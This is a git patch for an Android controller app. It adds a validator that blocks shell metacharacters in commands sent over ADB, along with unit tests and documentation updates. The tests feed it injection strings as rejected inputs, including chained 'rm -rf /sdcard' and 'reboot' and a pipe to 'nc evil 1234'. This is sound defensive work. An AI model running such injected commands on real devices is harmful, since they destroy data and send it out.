From e52198c2097ddc59bf32744856d49e45c8facf0c Mon Sep 17 00:00:00 2001 From: Luis Guzman Date: Tue, 23 Jun 2026 01:22:30 +0000 Subject: [PATCH] fix(controller): validate ADB shell commands to close arbitrary-shell (S4) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit IIABAdbManager.executeCommand ran openStream("shell:" + command) — an on-device shell over ADB — with no validation. The current callers pass fixed commands, but the method accepts any string, so a value containing shell metacharacters (; | & $ ( ) < >, backticks, quotes, newlines) could chain or substitute extra commands run with ADB privileges (tech-debt S4). - domain: new pure AdbShellCommand.isSafe(command) — rejects shell control/substitution/redirection/quote characters and control chars so only a single self-contained command can run. Pure JVM, unit-tested (AdbShellCommandTest). - IIABAdbManager.executeCommand fails closed (logs + does not open the stream) on an unsafe command. The two legitimate settings/device_config calls are unaffected. - Docs: CLAUDE.md design map + TECH_DEBT_PLAN progress log (S4 done; only F15 remains in Phase 1). --- CLAUDE.md | 9 +++ .../org/iiab/controller/IIABAdbManager.java | 8 +++ .../adb/domain/AdbShellCommand.java | 71 +++++++++++++++++++ .../adb/domain/AdbShellCommandTest.java | 51 +++++++++++++ controller/docs/TECH_DEBT_PLAN.md | 7 +- 5 files changed, 145 insertions(+), 1 deletion(-) create mode 100644 controller/app/src/main/java/org/iiab/controller/adb/domain/AdbShellCommand.java create mode 100644 controller/app/src/test/java/org/iiab/controller/adb/domain/AdbShellCommandTest.java diff --git a/CLAUDE.md b/CLAUDE.md index ee88af2..0779325 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -184,6 +184,15 @@ backup is untrusted; `TarExtractor` extracted without validating member names. before extracting if any member escapes; the backup-creation `sh -c` pipe was single-quoted. Applies to all extractions. +**Slice (DONE) — ADB command guard (`org.iiab.controller.adb.domain`)** +Phase-1 security slice closing tech-debt **S4** (arbitrary on-device shell via ADB). + +- `domain/` — `AdbShellCommand.isSafe(command)` (pure JVM): rejects shell + metacharacters / control chars so only a single self-contained command runs. + Unit-tested (`AdbShellCommandTest`). +- **Legacy seam:** `IIABAdbManager.executeCommand` validates and fails closed + before opening the `shell:` stream. + **Legacy (NOT yet layered)** — most of `org.iiab.controller` is still flat: god classes `MainActivity` and `DeployFragment` (~2.7k LOC), shared mutable state on public/static fields, hand-rolled `HttpURLConnection` calls duplicated diff --git a/controller/app/src/main/java/org/iiab/controller/IIABAdbManager.java b/controller/app/src/main/java/org/iiab/controller/IIABAdbManager.java index 8908478..f0acc46 100644 --- a/controller/app/src/main/java/org/iiab/controller/IIABAdbManager.java +++ b/controller/app/src/main/java/org/iiab/controller/IIABAdbManager.java @@ -9,6 +9,8 @@ package org.iiab.controller; +import org.iiab.controller.adb.domain.AdbShellCommand; + import android.content.Context; import android.os.Build; import android.security.keystore.KeyGenParameterSpec; @@ -199,6 +201,12 @@ public void checkSystemRestrictions(Context context) { // Execute shell commands seamlessly public void executeCommand(String command) { + // S4: this runs as an on-device shell over ADB. Reject anything that + // could chain/substitute extra commands; fail closed without executing. + if (!AdbShellCommand.isSafe(command)) { + Log.e(TAG, "Refusing to run unsafe ADB shell command: " + command); + return; + } new Thread(() -> { try (io.github.muntashirakon.adb.AdbStream stream = this.openStream("shell:" + command)) { java.io.InputStream is = stream.openInputStream(); diff --git a/controller/app/src/main/java/org/iiab/controller/adb/domain/AdbShellCommand.java b/controller/app/src/main/java/org/iiab/controller/adb/domain/AdbShellCommand.java new file mode 100644 index 0000000..fd4be00 --- /dev/null +++ b/controller/app/src/main/java/org/iiab/controller/adb/domain/AdbShellCommand.java @@ -0,0 +1,71 @@ +/* + * ============================================================================ + * Name : AdbShellCommand.java + * Author : IIAB Project + * Copyright : Copyright (c) 2026 IIAB Project + * Description : Domain rule: is a string safe to run as a single ADB "shell:" + * command, i.e. it cannot chain/substitute extra commands. + * Closes tech-debt item S4 (arbitrary on-device shell). + * ============================================================================ + */ +package org.iiab.controller.adb.domain; + +/** + * Pure (framework-free) guard for strings passed to + * {@code IIABAdbManager.executeCommand}, which runs them as + * {@code openStream("shell:" + command)} — an on-device shell over ADB. + * + *

Today the callers pass fixed, app-controlled commands, but the method + * accepts any string; a value containing shell metacharacters ({@code ; | & $} + * {@code ( ) < >}, backticks, quotes, newlines) could chain or substitute extra + * commands run with ADB privileges — tech-debt item S4. + * + *

This rejects those metacharacters so only a single, self-contained command + * (e.g. {@code settings put global }) can run. It does not try to + * be a full shell parser; it fails closed on anything that could break out. + * No {@code android.*}, so it is unit-testable on a plain JVM. + */ +public final class AdbShellCommand { + + private AdbShellCommand() { + // Static utility; not instantiable. + } + + /** + * True if {@code command} is safe to run as a single ADB shell command: + * non-empty and free of shell control/substitution/redirection/quote + * characters and control characters. Normal tokens (letters, digits, spaces, + * and {@code / . - _ = : ,}) are allowed. + */ + public static boolean isSafe(String command) { + if (command == null || command.trim().isEmpty()) { + return false; + } + for (int i = 0; i < command.length(); i++) { + char c = command.charAt(i); + switch (c) { + case ';': // command separator + case '&': // background / && + case '|': // pipe / || + case '$': // variable / $( ) substitution + case '`': // backtick substitution + case '(': + case ')': + case '<': // redirection + case '>': + case '\'': // quoting + case '"': + case '\\': // escaping + case '\n': + case '\r': + case '\0': + return false; + default: + if (c < 0x20) { // other control characters + return false; + } + } + } + return true; + } +} diff --git a/controller/app/src/test/java/org/iiab/controller/adb/domain/AdbShellCommandTest.java b/controller/app/src/test/java/org/iiab/controller/adb/domain/AdbShellCommandTest.java new file mode 100644 index 0000000..fd17e1b --- /dev/null +++ b/controller/app/src/test/java/org/iiab/controller/adb/domain/AdbShellCommandTest.java @@ -0,0 +1,51 @@ +package org.iiab.controller.adb.domain; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +import org.junit.Test; + +/** + * Unit tests for {@link AdbShellCommand} — the S4 guard against shell-command + * injection through {@code IIABAdbManager.executeCommand}. + */ +public class AdbShellCommandTest { + + @Test + public void acceptsTheLegitimateAppCommands() { + assertTrue(AdbShellCommand.isSafe( + "settings put global settings_enable_monitor_phantom_procs 0")); + assertTrue(AdbShellCommand.isSafe( + "device_config put activity_manager max_phantom_processes 256")); + } + + @Test + public void rejectsCommandChaining() { + assertFalse(AdbShellCommand.isSafe("settings put global x 0; rm -rf /sdcard")); + assertFalse(AdbShellCommand.isSafe("settings put global x 0 && reboot")); + assertFalse(AdbShellCommand.isSafe("settings get global x | nc evil 1234")); + } + + @Test + public void rejectsSubstitutionAndRedirection() { + assertFalse(AdbShellCommand.isSafe("echo $(reboot)")); + assertFalse(AdbShellCommand.isSafe("echo `id`")); + assertFalse(AdbShellCommand.isSafe("cat /x > /sdcard/out")); + assertFalse(AdbShellCommand.isSafe("cmd < /etc/hosts")); + } + + @Test + public void rejectsQuotesEscapesAndControlChars() { + assertFalse(AdbShellCommand.isSafe("settings put global x '0'")); + assertFalse(AdbShellCommand.isSafe("settings put global x \"0\"")); + assertFalse(AdbShellCommand.isSafe("settings put global x 0\\")); + assertFalse(AdbShellCommand.isSafe("settings put global x 0\nreboot")); + } + + @Test + public void rejectsEmptyOrNull() { + assertFalse(AdbShellCommand.isSafe(null)); + assertFalse(AdbShellCommand.isSafe("")); + assertFalse(AdbShellCommand.isSafe(" ")); + } +} diff --git a/controller/docs/TECH_DEBT_PLAN.md b/controller/docs/TECH_DEBT_PLAN.md index 87e28c5..07df08b 100644 --- a/controller/docs/TECH_DEBT_PLAN.md +++ b/controller/docs/TECH_DEBT_PLAN.md @@ -71,7 +71,12 @@ _Last updated: 2026-06-17. Tracks remediation work against the findings below. I - `TarExtractor` now **pre-lists** entries (`tar -t`, gzip decompressed in Java) and **fails closed** if any member escapes — for *every* extraction (the verified rootfs install included, defense in depth). Also single-quoted the paths in the backup-creation `sh -c` pipe (the "unquoted backup pipe" half of D11). - Verify on a real install/restore that legitimate rootfs/backup members are relative (they are by convention) so the guard does not false-positive. -**Phase 1 — Security hardening: IN PROGRESS.** Done so far: **S1** (PR #9), **M4** (PR #10), **D6** (PR #12), **D2** (PR #13), **D12** (PR #16), **D11** (PR #15). **S3 reverted** (see above). Remaining: **S4**, **F15**. +**S4 — Arbitrary ADB shell command (Phase 1 security): DONE** (PR `fix/phase1-security-s4-adb-command`) +- Closes **S4**: `IIABAdbManager.executeCommand` ran `openStream("shell:" + command)` — an on-device shell over ADB — with no validation. Callers pass fixed commands today, but a value with shell metacharacters could chain/substitute extra commands run with ADB privileges. +- New pure domain rule `org.iiab.controller.adb.domain.AdbShellCommand.isSafe(command)` (rejects `; | & $ \` ( ) < > ' " \\`, CR/LF and control chars). Unit-tested (`AdbShellCommandTest`). +- `executeCommand` now fails closed (logs + does not open the stream) on an unsafe command; the two legitimate `settings put` / `device_config put` calls are unaffected. + +**Phase 1 — Security hardening: IN PROGRESS.** Done so far: **S1** (PR #9), **M4** (PR #10), **D6** (PR #12), **D2** (PR #13), **D12** (PR #16), **D11** (PR #15). **S3 reverted** (see above), **S4**. Remaining: **F15**. ## 1. Executive summary